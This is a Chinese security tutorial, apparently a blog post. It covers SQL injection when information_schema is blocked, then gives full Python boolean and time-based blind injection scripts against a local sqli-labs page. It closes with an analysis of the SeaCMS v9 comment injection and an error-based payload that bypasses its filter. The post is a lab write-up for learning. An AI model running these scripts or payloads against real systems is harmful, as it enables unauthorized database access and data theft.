海洋 CMS V9SQL注入漏洞

目录

禁用information_schema解决方法

方法一:替换法

sys

performance_schema

[​编辑 方法二:无列名注入](#编辑 方法二:无列名注入)

利用lxml模块进行布尔盲注

XPATH

XPATH介绍:

XPATH语法:

布尔盲注

标准代码:

运行结果:

[​编辑 时间盲注](#编辑 时间盲注)

标准代码:

[seacms v9](#seacms v9)

海洋cms部署

php版本问题

漏洞成因


禁用information_schema解决方法

在information_schema数据库中储存了整个MySQL服务器的数据库名、表名,列名,字段等元数据。

方法一:替换法

在MySQL中,有着其他的数据库也存有部分元数据,看下其他的系统数据库sys和performance_schema,其中sys在MySQL5.7+版本存在。

sys

在sys.io_global_by_file_by_bytes中file字段可以获取库名表名,这是虚拟视图,数据来源于其他系统表,所以在软件中是看不到这张物理表。

sql 复制代码
SELECT * FROM sys.io_global_by_file_by_bytes;

查看sys下虚拟视图

sql 复制代码
SHOW FULL TABLES IN sys;

sys.schema_index_statistics视图中有部分表名和字段名

sys.schema_object_overview视图里有全部库名和库里面全部表的字段数个数

sys.schema_table_statistics,sys.schema_table_statistics_with_buffer视图里有全部自建表的库名和表名

performance_schema

performance_schema.events_statements_summary_by_digest里有历史查询记录

performance_schema.file_instances有全部表的存放文件

performance_schema.file_summary_by_instance,performance_schema.file_instances有全部表的存放文件,相当于全部库名表名。

方法二:无列名注入

在上文可以通过其他数据库查到库名和表名,那么对应的列名就要靠无列名注入方法获取。

当知道表名时,例如users,第一步要先探测该表的列数,利用union的特性列数必须一致

sql 复制代码
SELECT 1,2,3 UNION SELECT * FROM users;

此时users表有三列,查询结果如下:

如果列数猜错,会报1222 - The used SELECT statements have a different number of columns,1222错误的意思是union要求多个select查询结果列数相同。

紧接着就可以使用数字来对应列,在外层查询使用了子查询的结果作为数据源,这里反单引号中的3代表的是列数。

sql 复制代码
select `3` FROM (SELECT 1,2,3 UNION SELECT * FROM users) AS a;
#相当于select password FROM (SELECT 1,2,3 UNION SELECT * FROM users) AS a;

这里使用别名,当waf禁用反单引号时,可以通过别名绕过。例如:

sql 复制代码
select B FROM (SELECT 1,2,3 AS B UNION SELECT * FROM users) AS a;

利用lxml模块进行布尔盲注

在 Python 中,XPath 是一种用于在 XML 或 HTML 文档中定位和提取数据的语言。Python 提供了多个库来支持 XPath 解析,其中最常用的是 lxmlxml.etree.ElementTree

简单用法示例:

python 复制代码
from lxml import etree

# 解析 HTML 或 XML
html = """
<html>
  <body>
    <div id="content">
      <p class="text">Hello, World!</p>
      <p class="text">Python is awesome.</p>
    </div>
  </body>
</html>
"""

# 创建 ElementTree 对象
tree = etree.HTML(html)

# 使用 XPath 提取数据
result = tree.xpath('//p[@class="text"]/text()')
print(result)  # 输出: ['Hello, World!', 'Python is awesome.']

XPATH

XPATH介绍:

XPath(XML Path Language) 是一种用于在 XML 或 HTML 文档中定位和提取数据的语言。它通过路径表达式(Path Expression)来导航文档树,支持复杂的数据查询和提取。

XPATH语法:

参考文章:

一个小时掌握 XPath 的详细使用方法(超级详细!)-CSDN博客https://blog.csdn.net/cui_yonghua/article/details/144893876

BeautifulSoup 是一个流行的 HTML/XML 解析库,通常与 lxml 结合使用,支持 XPath 查询。这个库功能也很强大,有兴趣研究。

布尔盲注

标准代码:
python 复制代码
import requests
from lxml import etree #导入模块

url = 'http://127.0.0.1/sqli-labs-master/Less-46/index.php'


#mysql中的substr(string,start,dugt)三个参数分别是被截取的字符串,起始位置,截取长度
def database_name():
    datebasename = ''
    for i in range(1, 9):  # 假设数据库名称最多8个字符
        start = 32
        end = 128
        while start <= end: #起始端等于终止端时命中
            middle = (start + end) // 2
            payload = f"?sort=if(ascii(substr(database(),{i},1))> {middle},username,password)--+"
            res = requests.get(url + payload)
            html_content = res.text#获取实时的网页HTML源码
            tree = etree.HTML(html_content)#这一步是解析HTML源码为lxml树结构
            result = tree.xpath('//tr[1]/td[1]/text()')#这里利用xpath表达式拿id字段

            if res.status_code == 200:  # 确保请求成功,这个属性可以拿到页面返回的状态码
                if result[0] == '8':  #大于的情况id = 8,小于的时候id = 9
                    start = middle + 1 # 大于的情况下,证明目标字符在后半段
                else:
                    end = middle - 1 # 小于的情况证明目标字符在前半段
        if start > end:
            datebasename = datebasename + chr(start) # 退出内层循环,命中,这里不适用end和middle,最后一次循环end-1,middle由于是整除,结果会偏差1
            print(f"数据库名称是: {datebasename}")

database_name()

#mysql中的if(string,one,two)当string为真执行one,否则执行two
#在MySQL默认数据库information_schema的表tables中字段table_name存有表的名称,前面的table_schema字段是数据库对应名称
#mysql中limit 5,1,第一个表示从第几行开始,是开区间会从第6行开始,第二个参数表示返回的行数,如果只有一个参数,会默认从第一行返回对应行数
def table_name():
    tablename = ''
    for i in range(1,20):
        start = 32
        end = 128
        while start <= end:
            middle = (start + end) // 2
            payload = f"?sort=if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{i},1)) > {middle},username,password)-- "
            res = requests.get(url + payload)#通过调整limit的参数可以把数据库的所有表名拿到
            html_content = res.text  # 获取实时的网页HTML源码
            tree = etree.HTML(html_content)  # 这一步是解析HTML源码为lxml树结构
            result = tree.xpath('//tr[1]/td[1]/text()')  # 这里利用xpath表达式拿id字段

            if res.status_code == 200:  # 确保请求成功,这个属性可以拿到页面返回的状态码
                if result[0] == '8':  # 大于的情况id = 8,小于的时候id = 9
                    start = middle + 1  # 大于的情况下,证明目标字符在后半段
                else:
                    end = middle - 1  # 小于的情况证明目标字符在前半段
            if start > end:
                tablename = tablename + chr(start)  # 退出内层循环,命中,这里不适用end和middle,最后一次循环end-1,middle由于是整除,结果会偏差1
                print(f"表名称是: {tablename}")
table_name()

#在MySQL默认数据库里information_schema的表columns中字段column_name存有字段名称,前面的table_name字段是对应的表名
def column_name():
    columnname = ''
    for i in range(1,20):
        start = 32
        end = 128
        while start <= end:
            middle = (start + end) // 2
            payload = f"?sort=if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 4,1),{i},1)) > {middle},username,password)-- "
            res = requests.get(url + payload)
            html_content = res.text  # 获取实时的网页HTML源码
            tree = etree.HTML(html_content)  # 这一步是解析HTML源码为lxml树结构
            result = tree.xpath('//tr[1]/td[1]/text()')  # 这里利用xpath表达式拿id字段

            if res.status_code == 200:  # 确保请求成功,这个属性可以拿到页面返回的状态码
                if result[0] == '8':  # 大于的情况id = 8,小于的时候id = 9
                    start = middle + 1  # 大于的情况下,证明目标字符在后半段
                else:
                    end = middle - 1  # 小于的情况证明目标字符在前半段
            if start > end:
                if middle == 0:
                    break
                columnname += chr(start)
                print(f"字段名是:{columnname}")
column_name()
运行结果:

时间盲注

时间盲注只是修改了pyload,其余代码不变与9关相同。

标准代码:
python 复制代码
import time

import requests

url = 'http://127.0.0.1/sqli-labs-master/Less-46/index.php'

#mysql中if函数有三个参数,第一个是子表达式,第二个是子表达式为真时返回的结果,第三个是为假返回的结果
def database_name():
    datebasename = ''
    for i in range(1, 9):  # 假设数据库名称最多8个字符
        start = 32
        end = 128
        while start <= end: #起始端等于终止端时命中
            middle = (start + end) // 2
            payload = f"?sort=if(ascii(substr(database(),{i},1)) > {middle},(select 1 from (select sleep(2))as b),password)-- "
            start_time = time.time()
            res = requests.get(url + payload)
            end_time = time.time()

            if res.status_code == 200:  # 确保请求成功,这个属性可以拿到页面返回的状态码
                if (end_time - start_time) >= 2:  # 这个时间差证明满足条件
                    start = middle + 1 # 大于的情况下,证明目标字符在后半段
                else:
                    end = middle - 1 # 小于的情况证明目标字符在前半段
        if start > end:
            datebasename = datebasename + chr(start) # 退出内层循环,命中,这里不适用end和middle,最后一次循环end-1,middle由于是整除,结果会偏差1
            print(f"数据库名称是: {datebasename}")

database_name()

def table_name():
    tablename = ''
    for i in range(1, 20):
        start = 32
        end = 126
        while start <= end:
            middle = (start + end) // 2
            payload = f"?sort=if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),{i},1) > {middle},(select 1 from (select sleep(2))as b),password)-- "
            start_time = time.time()
            res = requests.get(url + payload)
            end_time = time.time()

            if res.status_code == 200:
                if (end_time - start_time) >= 2:
                    start = middle + 1
                else:
                    end = middle - 1
        if start > end:
            if middle == 0:
                break
            tablename += chr(start)
            print(f"表名称是: {tablename}")

table_name()

def column_name():
    columnname = ''
    for i in range(1, 20):
        start = 32
        end = 128
        while start <= end:
            middle = (start + end) // 2
            payload = f"?sort=if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 4,1),{i},1)) > {middle},(select 1 from (select sleep(2))as b),password)-- "
            start_time = time.time()
            res = requests.get(url + payload)
            end_time = time.time()

            if res.status_code == 200:
                if (end_time - start_time) >= 2:
                    start = middle + 1
                else:
                    end = middle - 1
        if start > end:
            if middle == 0:
                break
            columnname += chr(start)
            print(f"字段名是: {columnname}")

column_name()

seacms v9

海洋cms部署

可利用小皮或宝塔进行部署,也可自己部署,这里自己部署,方便调节。省略具体过程,只介绍遇到的问题及解决方案。

php版本问题

要求使用php-5.xfpm版本,查看安装的php-fpm版本

update-alternatives --display php-fpm

update-alternatives: 错误: 无 php-fpm 的候选项,看到这个提示证明只有一个版本,先安装其他版本。

交互式切换服务版本

sudo update-alternatives --config php-fpm

当这个交互失败时,发现找不到其他版本,直接修改nginx的配置文件,在location块中,有一行如下:

fastcgi_pass unix:/run/php/php5.6-fpm.sock;  # 指定 PHP 5.6

这条配置可以写ip+端口,这样写你的php-fpm的配置文件里有一行pid配置也必须相同。

漏洞成因

首先假设开了上帝视角,知道了问题在于主体在于查询语句如下:

php 复制代码
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";

试试一点一点分析问题所在,排除无效代码后,第一个看到的是一个if判断语句:

php 复制代码
if($page<2)
{
	if(file_exists($jsoncachefile))
	{
		$json=LoadFile($jsoncachefile);
		die($json);
	}
}

其中有两个函数,file_exists和LoadFile,前者是用来判断文件是否存在,后者是自定义函数在common.file.func。

php 复制代码
function loadFile($filePath)
{
	if(!file_exists($filePath)){
		echo "模版文件读取失败!";
		exit();
	}
	$fp = @fopen($filePath,'r');
	$sourceString = @fread($fp,filesize($filePath));
	@fclose($fp);
	return $sourceString;
}

后者也是读文件,接着往下看。

php 复制代码
$h = ReadData($id,$page);
$rlist = array();
if($page<2)
{
	createTextFile($h,$jsoncachefile);
}
die($h);

这里定义一个变量h与定义数组rlist[],传入参数id+page,来看ReadData函数:

php 复制代码
function ReadData($id, $page)
{
    global $type, $pCount, $rlist;
    // 创建一个包含初始值的数组
    $ret = array("", "", $page, 0, 10, $type, $id);

    if ($id > 0) {
        // 如果 id 大于 0,调用 Readmlist 函数并将结果赋值给 $ret[0]
        $ret[0] = Readmlist($id, $page, $ret[4]);
        // 将 $pCount 的值赋给 $ret[3]
        $ret[3] = $pCount;

        // 将 $rlist 数组的元素合并成一个逗号分隔的字符串
        $x = implode(',', $rlist);

        // 如果 $x 不为空,调用 Readrlist 函数
        if (!empty($x)) {
            $ret[1] = Readrlist($x, 1, 10000);
        }
    }

    // 使用 FormatJson 函数格式化 $ret 数组并将结果存储在 $readData
    $readData = FormatJson($ret);

    // 返回格式化后的 JSON 数据
    return $readData;
}

可以看出ReadData函数的作用是读取id和page数据,并格式化json数据返回。里面涉及到了两个自定义函数ReadList和ReadrList函数。

php 复制代码
function Readmlist($id,$page,$size)
{
	global $dsql,$type,$pCount,$rlist;
	$ml=array();
	if($id>0)
	{
		$sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
		$rs = $dsql ->GetOne($sqlCount);
		$pCount = ceil($rs['dd']/$size);
		$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
		$dsql->setQuery($sql);
		$dsql->Execute('commentmlist');
		while($row=$dsql->GetArray('commentmlist'))
		{
			$row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
			$ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
		}
	}
	$readmlist=join($ml,",");
	return $readmlist;
}

该函数主要是查询数据库与查询用户相关的评论,并格式化返回。

php 复制代码
function Readrlist($ids,$page,$size)
{
	global $dsql,$type;
	$rl=array();
	$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
	$dsql->setQuery($sql);
	$dsql->Execute('commentrlist');
	while($row=$dsql->GetArray('commentrlist'))
	{
		$rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
	}
	$readrlist=join($rl,",");
	return $readrlist;
}

SQL注入漏洞就在这个函数中,这个函数的主要功能是根据提供评论的ID列表ids,查询数据库中与这些id相关的评论数据。问题在于这里直接把ids插入到查询语句中,如果控制这个ids的值,就可以控制整条查询语句。

来具体跟踪ids这个变量的来历和变化:

1.在ReadData函数中:

  • $ret[0] = Readmlist($id, $page, $ret[4]); 这行调用了 Readmlist() 函数,在此过程中会读取评论列表并将评论 ID 存储在 $rlist 数组中。
  • 之后,如果 $rlist 中有 ID 数据,它们将被拼接成一个字符串,最终赋值给 $x
php 复制代码
$x = implode(',', $rlist);
  • 如果 $x 不为空,函数会调用 Readrlist(),并将 $x 作为参数传入。
php 复制代码
if (!empty($x)) {
    $ret[1] = Readrlist($x, 1, 10000);
}

2.在Readmlist函数中:

  • 该函数查询 sea_comment 表以获取评论列表。对于每个评论,ReadReplyID() 函数被调用来获取回复评论的 ID(如果有的话)。这些回复评论的 ID 会被存储到 $rlist 中,并且 $rlist 数组会被传递给 ReadReplyID() 来递归地获取更多的评论 ID。
php 复制代码
$row['reply'] .= ReadReplyID($id, $row['reply'], $rlist);

最总知道ids是评论列表id的用逗号分割的id字符串。

知道ids的来历后,继续看ReadList函数,SQL语句经过安全检查函数Execute:

php 复制代码
	function Execute($id="me", $sql='')
	{
		global $dsql;
		self::$i++;
		if($dsql->isClose)
		{
			$this->Open(false);
			$dsql->isClose = false;
		}
		if(!empty($sql))
		{
			$this->SetQuery($sql);
		}

		//SQL语句安全检查
		if($this->safeCheck)
		{
			CheckSql($this->queryString);
		}
    
    $t1 = ExecTime();
		
		$this->result[$id] = mysql_query($this->queryString,$this->linkID);
		
		//查询性能测试
		//$queryTime = ExecTime() - $t1;
		//if($queryTime > 0.05) {
			//echo $this->queryString."--{$queryTime}<hr />\r\n"; 
		//}
		
		if($this->result[$id]===false)
		{
			$this->DisplayError(mysql_error()." <br />Error sql: <font color='red'>".$this->queryString."</font>");
		}
	}

其中的SQL语句过滤安全检查函数CheckSql:

php 复制代码
function CheckSql($db_string,$querytype='select')
{
	global $cfg_cookie_encode;
	$clean = '';
	$error='';
	$old_pos = 0;
	$pos = -1;
	$log_file = sea_INC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';
	$userIP = GetIP();
	$getUrl = GetCurUrl();

	//如果是普通查询语句,直接过滤一些特殊语法
	if($querytype=='select')
	{
		$notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";

		//$notallow2 = "--|/\*";
		if(m_eregi($notallow1,$db_string))
		{
			fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
			exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");
		}
	}

	//完整的SQL检查
	while (true)
	{
		$pos = strpos($db_string, '\'', $pos + 1);
		if ($pos === false)
		{
			break;
		}
		$clean .= substr($db_string, $old_pos, $pos - $old_pos);
		while (true)
		{
			$pos1 = strpos($db_string, '\'', $pos + 1);
			$pos2 = strpos($db_string, '\\', $pos + 1);
			if ($pos1 === false)
			{
				break;
			}
			elseif ($pos2 == false || $pos2 > $pos1)
			{
				$pos = $pos1;
				break;
			}
			$pos = $pos2 + 1;
		}
		$clean .= '$s$';
		$old_pos = $pos + 1;
	}
	$clean .= substr($db_string, $old_pos);
	$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));

	//老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它
	if (strpos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
	{
		$fail = true;
		$error="union detect";
	}

	//发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们
	elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== false || strpos($clean, '#') !== false)
	{
		$fail = true;
		$error="comment detect";
	}

	//这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库
	elseif (strpos($clean, 'sleep') !== false && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
	{
		$fail = true;
		$error="slown down detect";
	}
	elseif (strpos($clean, 'benchmark') !== false && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
	{
		$fail = true;
		$error="slown down detect";
	}
	elseif (strpos($clean, 'load_file') !== false && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)
	{
		$fail = true;
		$error="file fun detect";
	}
	elseif (strpos($clean, 'into outfile') !== false && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)
	{
		$fail = true;
		$error="file fun detect";
	}

	//老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
	elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
	{
		$fail = true;
		$error="sub select detect";
	}
	if (!empty($fail))
	{
		fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
		exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
	}
	else
	{
		return $db_string;
	}
}

在CheckSql函数中有一行:

php 复制代码
	$clean .= '$s$';

这行代码会将查询语句中的所有单引号全部替换掉成s,因此将注入内容包裹在'IDS'内就可以绕过下列得一系列检查。但是会导致最终的查询语句语法错误,所以将单引号放在注释符里,保证语法正常。或者将@`'`内,作为自定义变量。

前面查询过滤恶意关键字:

php 复制代码
	if($querytype=='select')
	{
		$notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";

		//$notallow2 = "--|/\*";
		if(m_eregi($notallow1,$db_string))
		{
			fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
			exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");
		}
	}

如果匹配到了关键字,会退出查询并记录日志。直接使用报错注入,并没有过滤报错注入的关键字。

然后我们看到最大的问题在于:

php 复制代码
		return $db_string;

返回的是过滤前的字符串,因此只需要绕过检查,就可以成功注入。

因此最终注入的方法是使用报错注入+注释符中单引号绕过的方法构造payload。

sql 复制代码
@`\'`,extractvalue(1,concat_ws(0x20,0x5c,(select user()))),@`\'`

只需修改子查询就可以获取相应数据。

相关推荐
enyp8022 分钟前
qt QTreeWidget`总结
开发语言·数据库·qt
神仙别闹1 小时前
基于C#+SQL Server设计与实现的教学管理信息系统
java·数据库·c#
帅维维1 小时前
SQL*PLUS命令
数据库·sql
m0_748245521 小时前
简易图书管理系统——MYsql+Javase+JDBC
数据库·mysql
帅的飞起来2 小时前
MySQL索引失效
数据库·mysql
Joshuahgk2 小时前
MySQL 入门“鸡”础
数据库·python·mysql
_GR2 小时前
Redis存储⑫哨兵Sentinel_高可用实现方案
数据库·redis·缓存
羊小猪~~2 小时前
基于C++“简单且有效”的“数据库连接池”
java·开发语言·前端·数据库·c++·后端·adb
李少兄2 小时前
MySQL中的UNION操作符
android·数据库·mysql
Henry_Wu0013 小时前
ubuntu20.04 突破文件数限制
服务器·网络·数据库